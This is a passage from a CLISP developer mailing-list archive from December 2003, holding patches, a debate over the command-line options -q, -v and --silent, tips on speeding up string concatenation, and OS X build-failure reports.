     funcall(L(make_string_input_stream),1);
-    if (argv_repl) {
-      pushSTACK(value1); pushSTACK(Symbol_value(S(standard_input)));
-      funcall(L(make_concatenated_stream),2);
-    }
-    Symbol_value(S(standard_input)) = value1;
     # During bootstrapping, *DRIVER* has no value and SYS::BATCHMODE-ERRORS
     # is undefined. Do not set an error handler in that case.
-    if (!nullpSv(driverstern) && !argv_repl) {
+    if (!nullpSv(driverstern)) {
+      dynamic_bind(S(standard_input),value1);
       # (PROGN
       #   (EXIT-ON-ERROR (APPEASE-CERRORS (FUNCALL *DRIVER*)))
       #   ; Normally this will exit by itself once the string has reached EOF,
@@ -2968,12 +2964,12 @@
       #   (UNLESS argv_repl (EXIT)))
       var object form;
       pushSTACK(S(funcall)); pushSTACK(S(driverstern)); form = listof(2);
-      if (argv_interactive_debug) pushSTACK(S(appease_cerrors));
-      else pushSTACK(S(batchmode_errors));
-      pushSTACK(form); form = listof(2);
+      if (!argv_repl) form = appease_form(argv_interactive_debug,form);
       eval_noenv(form);
       if (!argv_repl) quit();
-    }
+      else dynamic_unbind(S(standard_input));
+    } else /* no *DRIVER* => bootstrap, no -repl */
+      Symbol_value(S(standard_input)) = value1;
   }
   # call read-eval-print-loop:
   driver();
Index: src/reploop.lisp
===================================================================
RCS file: /cvsroot/clisp/clisp/src/reploop.lisp,v
retrieving revision 1.26
diff -u -w -b -r1.26 reploop.lisp
--- src/reploop.lisp	12 Dec 2003 17:46:33 -0000	1.26
+++ src/reploop.lisp	18 Dec 2003 20:21:43 -0000
@@ -403,7 +403,10 @@
            ;; T -> #<EOF>
            ;; NIL -> form is already evaluated
            ;;        result has been printed
-           (exit))))))
+           (if (interactive-stream-p *standard-input*)
+             (exit)           ; user typed EOF
+             (progn (setq *command-index* 0) ; reset *command-index*
+                    (return-from main-loop)))))))) ; and proceed
 
 (setq *driver* #'main-loop)
 



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2.31 introduced "-v/--verbose" which is contrary to the CLISP practice
of naming "initial" options in lower case and "persistent" options in
upper case (compare -C/-M/-K with -m).
Also, on some platforms "-s" sets the stack size.
Also, "--silent" has always been a synonym for "-q".

_PROPOSAL_:

1. new option "-S/--silent" to mean
   (setq *load-verbose* nil *compile-verbose* nil)
   incompatibility: "--silent" meant "no banner before".
   probably never used because "-q/--quiet" was the "first choice".

2. change "-v/--verbose" to "-V/--verbose".
   incompatibility: "-v" was used before.

unless there are complaints, this change will go into the CVS soon.


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Sam wrote:
> 2.31 introduced "-v/--verbose" which is contrary to the CLISP practice
> of naming "initial" options in lower case and "persistent" options in
> upper case (compare -C/-M/-K with -m).

There is no such intended borderline between uppercase and lowercase options.
The only differences that I can see between -C/-M/-K and -m are
- -M/-K change the configuration of _which_ clisp is run, whereas -m
  sets _how_ it is run. But the options -L and -C don't follow this philosophy.
- -B/-M are meant to be used less often (more for "expert" users), but
  -C and -K are not.

> _PROPOSAL_:
>
> 1. new option "-S/--silent" to mean
>    (setq *load-verbose* nil *compile-verbose* nil)
>    incompatibility: "--silent" meant "no banner before".
>    probably never used because "-q/--quiet" was the "first choice".
>
> 2. change "-v/--verbose" to "-V/--verbose".
>    incompatibility: "-v" was used before.

I object against this proposal, for the sake of consistency of command line
options among programs. The first thing a Unix user becomes familiar with
are the coreutils (ls, cp, etc.), and therefore the users will expect the
same meaning and the same abbreviations for the same long options. Now
look at the coreutils manual:
  1. For all programs, --quiet and --silent are equivalent.
  2. In all programs in which --verbose has a short option, this short option
     is '-v'.

What I propose instead is that repeated use of -q/--quiet/--silent sets
*load-verbose* and *compile-verbose* to nil, in addition to suppressing
the banner (single use of -q/--quiet/--silent). Like gcc's or tar's
"--verbose" options, when duplicated, mean "really verbose".

Bruno



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> * Bruno Haible <oehab@pyvfc.bet> [2003-12-19 14:41:40 +0100]:
>
> Sam wrote:
>> 2.31 introduced "-v/--verbose" which is contrary to the CLISP practice
>> of naming "initial" options in lower case and "persistent" options in
>> upper case (compare -C/-M/-K with -m).
>
> There is no such intended borderline between uppercase and lowercase
> options.

I thought you told me in early 1998 that there was such a distinction...

>> 1. new option "-S/--silent" to mean
>>    (setq *load-verbose* nil *compile-verbose* nil)
>>    incompatibility: "--silent" meant "no banner before".
>>    probably never used because "-q/--quiet" was the "first choice".
>>
>> 2. change "-v/--verbose" to "-V/--verbose".
>>    incompatibility: "-v" was used before.
>
> I object against this proposal, for the sake of consistency of command line
> options among programs. The first thing a Unix user becomes familiar with
> are the coreutils (ls, cp, etc.), and therefore the users will expect the
> same meaning and the same abbreviations for the same long options. Now
> look at the coreutils manual:
>   1. For all programs, --quiet and --silent are equivalent.

only few programs accept --silent, IMO.

>   2. In all programs in which --verbose has a short option, this short option
>      is '-v'.
>
> What I propose instead is that repeated use of -q/--quiet/--silent
> sets *load-verbose* and *compile-verbose* to nil, in addition to
> suppressing the banner (single use of -q/--quiet/--silent). Like gcc's
> or tar's "--verbose" options, when duplicated, mean "really verbose".

-q changes only start/end behavior.
-q -q will change the behavior of the lisp world.
this is extremely confusing and inconvenient.

also, setting *load-verbose* &c is an "application" thing, e.g., Rick
Taube wanted to suppress some messages during startup of common music.
suppressing CLISP banner is a "user" thing, an application has no
business passing -q to CLISP.

how about "--no-verbose/-V"?

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Sam wrote:
> > Now look at the coreutils manual:
> >   1. For all programs, --quiet and --silent are equivalent.
>
> only few programs accept --silent, IMO.

If you can't be convinced by looking at the coreutils alone, look at a
/usr/bin directory:

  chgrp, chmod, chown, cmp, csplit, head, tail, tty (GNU coreutils)
  grep, fgrep, zgrep (GNU grep)
  sed (GNU sed)
  ed (GNU ed)
  gcc, g++, gcj, g77, cpp (GNU gcc)
  gdb (GNU gdb)
  make (GNU make)
  enscript (GNU enscript)
  gzip, gunzip, zcat (GNU gzip)
  iconv (GNU libc)
  msgmerge, msgfilter (GNU gettext)
  libtool (GNU libtool)
  m4 (GNU m4)
  patch (GNU patch)
  recode (Free recode)
  shar (GNU sharutils)
  ipcalc
  less
  mysql, myisamchk, myisampack, mysqladmin, perror, resolveip, ... (MySQL)
  curl
  fetchmail
  texi2dvi
  texlinks
  zgrep
  zipgrep
  mcs (mono)

All these support --silent, and for most of them --quiet is equivalent.

> -q changes only start/end behavior.
> -q -q will change the behavior of the lisp world.
> this is extremely confusing and inconvenient.

Whether an option changes only start/end behaviour or not, is not very
important. From a user's point of view, it's important whether stdout
is cluttered at all or not, not whether the clutter comes from the startup
routines or from the LOAD function.

> also, setting *load-verbose* &c is an "application" thing, e.g., Rick
> Taube wanted to suppress some messages during startup of common music.
> suppressing CLISP banner is a "user" thing, an application has no
> business passing -q to CLISP.

Suppressing the banner is both a user and application preference: In my
old Maxima port, the banner was suppressed so that Maxima looked like
as in other Maxima ports. Anyway, global variables are for the application
and command-line switches for the user.

> how about "--no-verbose/-V"?

That would be very confusing, given that it's not the contrary of --verbose.
(One switch affects *load-print*, the other affects *load-verbose*.)

Bruno



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> * Bruno Haible <oehab@pyvfc.bet> [2003-12-19 17:28:54 +0100]:
> All these support --silent, and for most of them --quiet is equivalent.
OK, you got me here.

>> -q changes only start/end behavior.
>> -q -q will change the behavior of the lisp world.
>> this is extremely confusing and inconvenient.
>
> Whether an option changes only start/end behaviour or not, is not very
> important. From a user's point of view, it's important whether stdout
> is cluttered at all or not, not whether the clutter comes from the
> startup routines or from the LOAD function.

OK, fine, so "-q" will kill the banner and "-q -q" will set
*.*-VERBOSE* to NIL.
this is compatible with 2.31.
are people happy?

>> also, setting *load-verbose* &c is an "application" thing, e.g., Rick
>> Taube wanted to suppress some messages during startup of common music.
>> suppressing CLISP banner is a "user" thing, an application has no
>> business passing -q to CLISP.
>
> Suppressing the banner is both a user and application preference: In
> my old Maxima port, the banner was suppressed so that Maxima looked
> like as in other Maxima ports.

IMNSHO this was a wrong thing for Maxima to do.
OTOH, programs compiled with GCC do not start with an announcement to
that effect, so, I guess, I am alone.

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Pascal Bourgignon =E9crivait:
> The   error  seems   to  be   coming  via   XLIB:MAX-CHAR-ASCENT  from
> clisp/modules/clx/new-clx/clx.f line  1056 to  1081. It looks  like it
> builds   the   encoding   name   from   the   registry   of   some   X
> font.  Unfortunately, that  registry  is "iso8859"  while the  CHARSET
> package exports ISO-8859-1 et al.

Yes, unfortunately different standards and softwares use different sets
of encoding names. You have to convert. Since here the input is an X11
encoding name and the result should be an encoding name suitable for
CLISP :CHARSET, the conversion should go the whole way and also convert
insert a dash between "iso" and "8859".

Sam wrote:

> [6]> (make-encoding :charset "iso8859-1")
> #<ENCODING "iso8859-1" :UNIX>

This depends on the underlying iconv() version. In libiconv 1.9.1 the
name "iso8859-1" happens to be supported; in earlier versions it is not.

> should MAKE-ENCODING automatically convert "iso8859-1" to CHARSET:ISO-885=
9-1?
> Should CHARSET contain ISO8859-1 as a synonym for ISO-8859-1?

No for both. 1. The list of supported encodings in clisp is documented; if
people call MAKE-ENCODING with names not adhering to this documentation, it=
's
by lazy code. 2. The strategy of adding aliases leads to addition of all
possible names in all possible software APIs. After we've added ISO8859-1
as alias of ISO-8859-1, someone will stand up and claim to need CP65001 as
an alias for UTF-8, etc. etc. - it's a never ending hassle. Better is to ke=
ep
things where they belong, and the handling of X11 encoding names belong in
X11 interface code and not in the clisp CHARSET package.

Bruno



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Sam Steingold wrote:
> > * Sam Halliday <sbzzvy@lnubb.vr> [2003-12-17 18:02:29 +0000]:
> >> sorry... the first patch didnt make a difference at all
> >> testing the 2nd one now...
> > it doesnt make a difference either, sorry
> please clean-up your CLISP installation,
> apply the appended patch, and do
> 
> ./configure --with-module=regexp build build-dir
> 
> please tell us what is printed for "LIBS before & after".

all seemed to compile fine! but, i still got the failed test:

###########################
Form: (LET ((H (MAKE-HASH-TABLE :TEST `(,(LAMBDA (A B) (LIST (LIST '= A B)) (= A
B)) . ,(LAMBDA (X) (LET ((Z (SXHASH (COERCE X 'DOUBLE-FLOAT)))) (LIST `((HASH
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(FLOAT I 1.0d0) H) (GETHASH (FLOAT I 1.0s0) H)) :COLLECT I))
CORRECT: NIL
CLISP  : (892)
###########################

the LIBS you asked for are

LIBS: before: regexi.o lisp.a /opt/sam/lib/libintl.so /opt/sam/lib/libiconv.so
-Wl,-rpath -Wl,/opt/sam/lib libcharset.a libavcall.a libcallback.a -lreadline
-lncurses /opt/sam/lib/libiconv.so -Wl,-rpath -Wl,/opt/sam/lib
LIBS: after:  regexi.o lisp.a /opt/sam/lib/libintl.so /opt/sam/lib/libiconv.so
-Wl\,-rpath -Wl\,/opt/sam/lib libcharset.a libavcall.a libcallback.a -lreadline
-lncurses /opt/sam/lib/libiconv.so -Wl\,-rpath -Wl\,/opt/sam/lib

i will now see if i can get CVS and check if the test passes.

cheers,
Sam

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> * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2003-12-14 18:47:59 +0100]:
>
> *** - EXT:MAKE-ENCODING: illegal :CHARSET argument "ISO8859-1"
> Indeeed, the exported symbol is ISO-8859-1.
>
> The error seems to be coming via XLIB:MAX-CHAR-ASCENT from
> clisp/modules/clx/new-clx/clx.f line 1056 to 1081. It looks like it
> builds the encoding name from the registry of some X font.
> Unfortunately, that registry is "iso8859" while the CHARSET package
> exports ISO-8859-1 et al.

please try the appended patch.
thanks.

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--- clx.f.~2.10.~	2003-10-31 10:10:45.612776300 -0500
+++ clx.f	2003-12-20 13:49:02.009396800 -0500
@@ -1065,12 +1065,16 @@
           status = XGetAtomNames (dpy, xatoms, 2, names); /* X11R6 */
 #        endif
           if (status) {
+            char* whole = alloca(strlen(names[0])+strlen(names[1])+3);
+            if (!strncasecmp(names[0],"iso",3) && names[0][3] != '-') {
+              strcpy(whole,"ISO-");
+              strcat(whole,names[0]+3);
+            } else strcpy(whole,names[0]);
+            strcat(whole,"-");
+            strcat(whole,names[1]);
             end_x_call();
-            pushSTACK(asciz_to_string (names[0], GLO(misc_encoding)));
-            pushSTACK(`"-"`);
-            pushSTACK(asciz_to_string (names[1], GLO(misc_encoding)));
-            value1 = string_concat(3);
-            pushSTACK(`:CHARSET`); pushSTACK(value1);
+            pushSTACK(`:CHARSET`);
+            pushSTACK(asciz_to_string(whole,GLO(misc_encoding)));
             pushSTACK(`:OUTPUT-ERROR-ACTION`);
             pushSTACK(fixnum(info->default_char));
             funcall(L(make_encoding), 4);
@@ -1078,8 +1082,8 @@
             pushSTACK(`XLIB::ENCODING`);
             pushSTACK(value1);
             funcall (L(set_slot_value), 3);
-          }
           begin_x_call();
+          }
           if (names[0])
             XFree (names[0]);
           if (names[1])



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Hi all,
Very new to CLisp and I'm having problem getting clisp installed
properly.  I've googled this but I haven't come across a posting to
answer why the following is happening.
My setup: win2K
I've downloaded clisp-2.31-msvc-win32.zip from sourceforge.
My installation folder is: c:\clisp

install.bat updated 

when executing, If I choose Y to associate *.lisp, et.al. with Clisp - I
get the following error:

*** - FUNCALL: undefined function C1

If I choose not to associate files, I get this error:

 READ from #<INPUT BUFFERED FILE-STREAM CHARACTER
#P"C:\\clisp\\src\\install.lisp" @98>: there is no package with name
"POSIX"

Any suggestions would be greatly appreciated. Thanks in advance
Bill




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> * Bill Tate <jqgngr@pbzpnfg.arg> [2003-12-21 05:44:53 -0500]:
>
> I've downloaded clisp-2.31-msvc-win32.zip from sourceforge.

msvc build does not include modules.
"clisp-2.31-win32.zip", built with mingw, does.
don't worry, you still have all the ANSI CL, sockets, &c &c.

> *** - FUNCALL: undefined function C1
yep, your clisp does not have registry access.

>  READ from #<INPUT BUFFERED FILE-STREAM CHARACTER
> #P"C:\\clisp\\src\\install.lisp" @98>: there is no package with name
> "POSIX"
yep, your clisp cannot create shortcuts.

> Any suggestions would be greatly appreciated. Thanks in advance

First of all, this "install.bat" is just sugar.
you don't really need it to run clisp.
just read README.
Basically, put clisp.bat in your patch and put there

c:\clisp\lisp.exe -B c:\clisp -M c:\clisp\lispinit.mem

and you are good to go.

PS. I know it goes counter to the woe32 culture, but you _can_ compile
CLISP yourself :-)

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  >> * Dan Stanger <qna.fgnatre@vrrr.bet> [2003-10-03 10:42:17 -0400]:
  >>
  >> What is the best way to convert a list of strings to a single string?
  >> For example ("abc" "def" "ghi") should convert to "abcdefghi"

 > 2. in general, the standard way is the same as adding lists of numbers &c:
 >         (reduce (lambda (s1 s2) (concatenate 'string s1 s2))
 >                 list-of-strings :initial-value "")
 >    (CLISP-specific ext:string-concat is again faster:
 >         (reduce #'ext:string-concat list-of-strings)

I do a lot of string concatenation, generating a large string of HTML
page, built from lots of small strings retrieved from a database, so I
wrote a replacement for EXT:STRING-CONCAT that speeds things up a lot
for my appl.  It works by working with a growable string array and
pre-allocating space as it gets bigger.

It seems to speed things about at least twice as much for me.  Your
mileage may vary of course.  Code is below.  It should work as a
drop-in replacement for STRING-CONCAT.

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; -------  Cut here -------
; MY-STRING-CONCAT -- Concatenate together string arguments into a
; single string

(defun my-string-concat (&rest args)
  (labels
   ((append-adjustable (astr s)
       (let ((alen (length astr))
             (slen (length s)))
         (if (= 0 slen)
             astr
           (let ((newlen (+ alen slen)))
             (when (<= (array-dimension astr 0) newlen)
                   ; Reduce growth factor if tight on space
                   (adjust-array astr (* 2 newlen)))
             ; Append chars onto result
             (setf (fill-pointer astr) newlen)
             (replace astr s :start1 alen :end1 newlen)))))
    (aconcat (astr args)
      (cond ((atom args) (append-adjustable astr args))
            (t (dolist (s args)
                       (aconcat astr s))
               astr))))
   (aconcat (make-array
             ; Minimum string size to allocate for result
             100
             :element-type 'character
             :fill-pointer 0 :adjustable t)
            args)))

; -------  Cut here -------

; Test case
(setf l nil)
(dotimes (i 2000)
   (push "xxxxxxxxxx" l))
(print "Starting concat using EXT:STRING-CONCAT")
(reduce #'ext:string-concat l)
(print "Done")
(print "Starting concat using MY-STRING-CONCAT")
(reduce #'my-string-concat l)
(print "Done")

; -------  Cut here -------


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> * John K. Hinsdale <uva@nyzn.pbz> [2003-12-21 14:25:32 -0500]:
>
> I do a lot of string concatenation, generating a large string of HTML
> page, built from lots of small strings retrieved from a database, so I
> wrote a replacement for EXT:STRING-CONCAT that speeds things up a lot
> for my appl.  It works by working with a growable string array and
> pre-allocating space as it gets bigger.

the return value is not a simple string.
if you are doing (reduce foo), why not get rid of reduce?

(defun concat-strings (strings)
  (let ((ret (make-array (reduce #'+ strings :key #'length)
                         :element-type 'character))
        (start 0))
    (dolist (string strings ret)
      (replace ret string :start1 start)
      (incf start (length string)))))

this is pretty much the same as (apply #'string-concat strings).


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Please get CVS HEAD and test it.
To get you salivating, here is the (incomplete) NEWS:

User visible changes
--------------------

* WRITE-BYTE-SEQUENCE now accepts :NO-HANG keyword argument.
  Thanks to Don Cohen <don-sourceforge@isis.cs3-inc.com>.

* Support files larger than 2 GB or 4 GB on platforms with LFS
  (Large File Support).

* New module berkeley-db interfaces to
  <http://www.sleepycat.com/docs/api_c/dbt_class.html>
  and allows working the Berkeley DB databases.
  See <http://clisp.cons.org/impnotes.html#berkeley-db> for details.

* New module pcre interfaces to <http://www.pcre.org/> and
  makes Perl Compatible Regular Expressions available in CLISP.
  See <http://clisp.cons.org/impnotes.html#pcre> for details.

* Module syscalls now exports function POSIX:STAT-VFS.
  See <http://clisp.cons.org/impnotes.html#syscalls> for details.

* When the system C library provides a wildcard (fnmatch) implementation,
  it is used instead of the GNU wildcard distributed with CLISP
  when the CLISP wildcard module is built.

* Prompt is now fully customizable by the user.
  CUSTOM:*PROMPT* is replaced with 5 variables.
  See <http://clisp.cons.org/impnotes.html#prompt> for details.

* Readline is now used properly on Cygwin/X11.

* Command line interface: the initial verbosity level is controlled
  by the pair of mutually cancelling options -q/-v.
  See <http://clisp.cons.org/clisp.html#opt-verbose> for details.


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  >> I wrote a replacement for EXT:STRING-CONCAT that speeds things up a
  >> lot for my appl.  It works by working with a growable string array
  >> and pre-allocating space as it gets bigger.

 > the return value is not a simple string.

not sure why this matters to me?  My application works the same either way...

 > (defun concat-strings (strings)
 > ...
 > this is pretty much the same as (apply #'string-concat strings).

This is at least 100 times faster than my function (!) Can you give me a
hint as to why?  And thanks!


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> * John K. Hinsdale <uva@nyzn.pbz> [2003-12-21 19:23:11 -0500]:
>
>  > (defun concat-strings (strings)
>  > ...
>  > this is pretty much the same as (apply #'string-concat strings).

you can check and see that (apply #'string-concat strings) is even
better because it's in C, not bytecode.

> This is at least 100 times faster than my function (!) Can you give me
> a hint as to why?  And thanks!

1. never allocates any garbage - moreover, allocates exactly the amount
   of memory needed.

2. avoids funcall overhead: one function call instead of (length
   arglist) funcalls inside reduce


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John K. Hinsdale writes:
> 
>   >> I wrote a replacement for EXT:STRING-CONCAT that speeds things up a
>   >> lot for my appl.  It works by working with a growable string array
>   >> and pre-allocating space as it gets bigger.
> 
>  > the return value is not a simple string.
> 
> not sure why this matters to me?  My application works the same either way...
> 
>  > (defun concat-strings (strings)
>  > ...
>  > this is pretty much the same as (apply #'string-concat strings).
> 
> This is at least 100 times faster than my function (!) Can you give me a
> hint as to why?  And thanks!


For: (dotimes (i 2000) (push "xxxxxxxxxx" l))
you'll end up with a string of 20000 characters.

Your function  will have  to allocate (ceiling  (/ (log  (/ total-size
100)) (log 2))) [= 8 for 20000 characters] strings of increasing sizes
[O(log(n)], with copying the intermediary concatenations [O(n*log(n))]
while the other function will  allocate one string [O(1)] and copy the
bytes once [O(n)].  [Note that for strings, (length s) is O(1)].


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 > you can check and see that (apply #'string-concat strings) is even
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Yes, but I think you said a while back that using APPLY will construct
an actual function call w/ list of arguments as determined by STRINGS
arg ... which in my situations will blow out CALL-ARGUMENTS-LIMIT (my
lists get quite huge).

Thanks for all the explantations; my code will benefit.

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> * John K. Hinsdale <uva@nyzn.pbz> [2003-12-21 21:08:29 -0500]:
>
>  > you can check and see that (apply #'string-concat strings) is even
>  > better because it's in C, not bytecode.
>
> Yes, but I think you said a while back that using APPLY will construct
> an actual function call w/ list of arguments as determined by STRINGS
> arg ... which in my situations will blow out CALL-ARGUMENTS-LIMIT (my
> lists get quite huge).

yes, and this is why you are doomed to using either REDUCE or my function.

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 > > I do a lot of string concatenation, generating a large string of HTML
 > > page, built from lots of small strings retrieved from a database, so I
 > > wrote a replacement for EXT:STRING-CONCAT that speeds things up a lot
 > > for my appl.  It works by working with a growable string array and
 > > pre-allocating space as it gets bigger.
It sounds like you're going to end up writing the concatenated string
to a socket stream.  Why not output the strings separately?

I wonder how 
 (with-output-to-string (st)
   (loop for s in strings do (princ s st)))
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On Dec 21, 2003, at 4:23 PM, Sam Steingold wrote:

> Please get CVS HEAD and test it.

As you wish!

Building on RedHat 8 and YellowDog 3, as of a few days ago, worked 
fine. Will repeat again in a day or so (hopefully less).

Unfortunately Panther/OS X is not so lucky. I have the latest software 
updates including the Xcode update. Just did a cvs update a few minutes 
before sending this. The make (--without-dynamic-ffi was the only 
switch to the configure command) produces this: ("The Fix" is described 
below).


./lisp.run -B . -Efile UTF-8 -Eterminal UTF-8 -norc -m 750KW -x "(and 
(load \"init.lisp\") (sys::%saveinitmem) (ext::exit))"
   i i i i i i i       ooooo    o        ooooooo   ooooo   ooooo
   I I I I I I I      8     8   8           8     8     o  8    8
   I  \ `+' /  I      8         8           8     8        8    8
    \  `-+-'  /       8         8           8      ooooo   8oooo
     `-__|__-'        8         8           8           8  8
         |            8     o   8           8     o     8  8
   ------+------       ooooo    8oooooo  ooo8ooo   ooooo   8

Copyright (c) Bruno Haible, Michael Stoll 1992, 1993
Copyright (c) Bruno Haible, Marcus Daniels 1994-1997
Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998
Copyright (c) Bruno Haible, Sam Steingold 1999-2003

;; Loading file defseq.lisp ...
;; Loaded file defseq.lisp
;; Loading file backquote.lisp ...
;; Loaded file backquote.lisp
;; Loading file defmacro.lisp ...
;; Loaded file defmacro.lisp
;; Loading file macros1.lisp ...
;; Loaded file macros1.lisp
;; Loading file macros2.lisp ...
;; Loaded file macros2.lisp
;; Loading file defs1.lisp ...
;; Loaded file defs1.lisp
;; Loading file places.lisp ...
;; Loaded file places.lisp
;; Loading file floatprint.lisp ...
;; Loaded file floatprint.lisp
;; Loading file type.lisp ...
*** - UNIX error 2 (ENOENT): No such file or directory
Bye.
mv lispimag.mem interpreted.mem
mv: rename lispimag.mem to interpreted.mem: No such file or directory
make: *** [interpreted.mem] Error 1



"The Fix"
  diff type.lisp ../src
1351c1351
<   #-(and)(do-external-symbols (sym (find-package "CHARSET"))
---
 >   (do-external-symbols (sym (find-package "CHARSET"))

everything builds OK after that change, and the tests all pass.
I'm not sure how to proceed in debugging that. Hopefully will have time 
to look in more detail between Xmas and New Years.

I have not attempted to build any modules (on Pather). Will attempt all 
the modules on RedHat and YellowDog (sans dynamic-ffi) during the 
holidays too.

<D\'gou



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> * Douglas Philips <qtbh@znp.pbz> [2003-12-22 09:37:53 -0500]:
>
>> Please get CVS HEAD and test it.
> As you wish!
thanks!

> ;; Loading file type.lisp ...
> *** - UNIX error 2 (ENOENT): No such file or directory
> Bye.
> mv lispimag.mem interpreted.mem
> mv: rename lispimag.mem to interpreted.mem: No such file or directory
> make: *** [interpreted.mem] Error 1
>
>
> "The Fix"
>   diff type.lisp ../src
> 1351c1351
> <   #-(and)(do-external-symbols (sym (find-package "CHARSET"))
> ---
>  >   (do-external-symbols (sym (find-package "CHARSET"))

yuk, we have seen this before...
please try

  (do-external-symbols (sym (find-package "CHARSET"))
    (print sym)
    (make-encoding :charset (encoding-charset (symbol-value sym))))

to find out which symbol is the culprit.

then try the appended patch and see if it fixes the build

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--- type.lisp.~1.49.~	2003-07-22 19:42:26.104255800 -0400
+++ type.lisp	2003-12-22 10:57:31.654212800 -0500
@@ -1342,7 +1342,10 @@
   (defun get-charset-range (charset &optional maxintervals)
     (or (gethash charset table)
         (setf (gethash charset table)
-              (charset-range (make-encoding :charset charset)
+              (charset-range (if (and (symbolp charset)
+                                      (encodingp (symbol-value charset)))
+                                 (symbol-value charset)
+                                 (make-encoding :charset charset))
                              (code-char 0) (code-char (1- char-code-limit))
                              maxintervals))))
   ;; Fill the cache, but cache only the results with small lists of intervals.



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>> "The Fix"
>>   diff type.lisp ../src
>> 1351c1351
>> <   #-(and)(do-external-symbols (sym (find-package "CHARSET"))
>> ---
>>>   (do-external-symbols (sym (find-package "CHARSET"))
>
> yuk, we have seen this before...
> please try
>
>   (do-external-symbols (sym (find-package "CHARSET"))
>     (print sym)
>     (make-encoding :charset (encoding-charset (symbol-value sym))))
>
> to find out which symbol is the culprit.

% ./lisp.run -B . -Efile UTF-8 -Eterminal UTF-8 -norc -m 750KW
   i i i i i i i       ooooo    o        ooooooo   ooooo   ooooo
   I I I I I I I      8     8   8           8     8     o  8    8
   I  \ `+' /  I      8         8           8     8        8    8
    \  `-+-'  /       8         8           8      ooooo   8oooo
     `-__|__-'        8         8           8           8  8
         |            8     o   8           8     o     8  8
   ------+------       ooooo    8oooooo  ooo8ooo   ooooo   8

Copyright (c) Bruno Haible, Michael Stoll 1992, 1993
Copyright (c) Bruno Haible, Marcus Daniels 1994-1997
Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998
Copyright (c) Bruno Haible, Sam Steingold 1999-2003


WARNING: No initialization file specified.
Please try: ./lisp.run -M lispinit.mem

 > (do-external-symbols (sym (find-package "CHARSET"))
     (print sym)
     (make-encoding :charset (encoding-charset (symbol-value sym))))

*** - EVAL: undefined function DO-EXTERNAL-SYMBOLS
1. Break>


However, adding:
(defun cs-r (enc s e ivals)
         (print enc)
         (print s)
         (print e)
         (print ivals)
         (print "")
         (charset-range enc s e ivals))

;; and then changing the code to call cs-r (poor man's trace)

;; Loading file type.lisp ...
#<ENCODING "ISO-2022-KR" :UNIX>
#\Null
#\U0010FFFF
100
""
*** - UNIX error 2 (ENOENT): No such file or directory
Bye.



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 > Please get CVS HEAD and test it.

Oracle and FastCGI modules look OK as do all my applications.

However my build w/ CVS fails during the test phase; it wants
"compiler.fas" and "stage/compiler.fas" to be the same, but instead
they differ as follows:

  4255c4255
  <       COMMON-LISP::TAGBODY (COMMON-LISP::PUSH) 21. #(#:G24724) :NAME
  ---
  >       COMMON-LISP::TAGBODY (COMMON-LISP::PUSH) 21. #(#:G5384) :NAME
  7661c7661
  <       #(#:G31129) :NAME COMMON-LISP::CONTINUE :INVOKE-FUNCTION
  ---
  >       #(#:G11513) :NAME COMMON-LISP::CONTINUE :INVOKE-FUNCTION
  7675c7675
  <       SYSTEM::ASSERT-ERROR-STRING 23. #(#:G31155)
  ---
  >       SYSTEM::ASSERT-ERROR-STRING 23. #(#:G11539)
  7685c7685
  <       #(#:G31181)
  ---
  >       #(#:G11565)
  7695c7695
  <       #(#:G31207)
  ---
  >       #(#:G11591)

Maybe some things got macro-ized and using gensyms now?
I built with:

./configure                                     \
       --with-readline                          \
       --with-dynamic-ffi                       \
       --with-dynamic-modules                   \
       --with-export-syscalls                   \
       --with-module=wildcard                   \
       --with-module=regexp                     \
       --with-module=bindings/glibc             \
       --with-module=oracle                     \
       --with-module=fastcgi                    \
       --with-module=syscalls                   \
       --build mysrc



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Sam Steingold schrieb:
>   See <http://clisp.cons.org/impnotes.html#berkeley-db> for details.
>   See <http://clisp.cons.org/impnotes.html#pcre> for details.

When will the impnotes be updated?

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> * Reini Urban <eheona@k-enl.ng> [2003-12-23 14:50:21 +0100]:
>
> Sam Steingold schrieb:
>>   See <http://clisp.cons.org/impnotes.html#berkeley-db> for details.
>>   See <http://clisp.cons.org/impnotes.html#pcre> for details.

when cons.org were operational, the impnotes rebuilt nightly were
available there.

> When will the impnotes be updated?
> => "CLISP version 2.31"

after the release is made

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> * John K. Hinsdale <uva@nyzn.pbz> [2003-12-23 07:32:33 -0500]:
>
>   4255c4255
>   <       COMMON-LISP::TAGBODY (COMMON-LISP::PUSH) 21. #(#:G24724) :NAME
>   ---
>   >       COMMON-LISP::TAGBODY (COMMON-LISP::PUSH) 21. #(#:G5384) :NAME
should be fixed now.

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> * Douglas Philips <qtbh@znp.pbz> [2003-12-23 00:41:17 -0500]:
>
> % ./lisp.run -B . -Efile UTF-8 -Eterminal UTF-8 -norc -m 750KW
>    i i i i i i i       ooooo    o        ooooooo   ooooo   ooooo
>    I I I I I I I      8     8   8           8     8     o  8    8
>    I  \ `+' /  I      8         8           8     8        8    8
>     \  `-+-'  /       8         8           8      ooooo   8oooo
>      `-__|__-'        8         8           8           8  8
>          |            8     o   8           8     o     8  8
>    ------+------       ooooo    8oooooo  ooo8ooo   ooooo   8
>
> Copyright (c) Bruno Haible, Michael Stoll 1992, 1993
> Copyright (c) Bruno Haible, Marcus Daniels 1994-1997
> Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998
> Copyright (c) Bruno Haible, Sam Steingold 1999-2003
>
>
> WARNING: No initialization file specified.
> Please try: ./lisp.run -M lispinit.mem
>
>  > (do-external-symbols (sym (find-package "CHARSET"))
>      (print sym)
>      (make-encoding :charset (encoding-charset (symbol-value sym))))
>
> *** - EVAL: undefined function DO-EXTERNAL-SYMBOLS
> 1. Break>

you said you managed to build CLISP by commenting out some stuff, right?
so use that image!

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On Tuesday, December 23, 2003, at 10:19AM, Sam Steingold <sds@gnu.org> wrote:

>>  > (do-external-symbols (sym (find-package "CHARSET"))
>>      (print sym)
>>      (make-encoding :charset (encoding-charset (symbol-value sym))))
>>
>> *** - EVAL: undefined function DO-EXTERNAL-SYMBOLS
>> 1. Break>
>
>you said you managed to build CLISP by commenting out some stuff, right?
>so use that image!

When I did that (I won't be back to being at that system until tomorrow :-( ) it printed many many strings (dozens) with no errors. I'm wondering if switching back to the commented out code (in type.lisp, the section that says there is now a faster version in C) might not shed some light.
I'll try again tomorrow with further debugging, but not sure what direction I should take that.

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> * Douglas Philips <qtbh@znp.pbz> [2003-12-23 10:30:08 -0500]:
>
> I'll try again tomorrow with further debugging, but not sure what
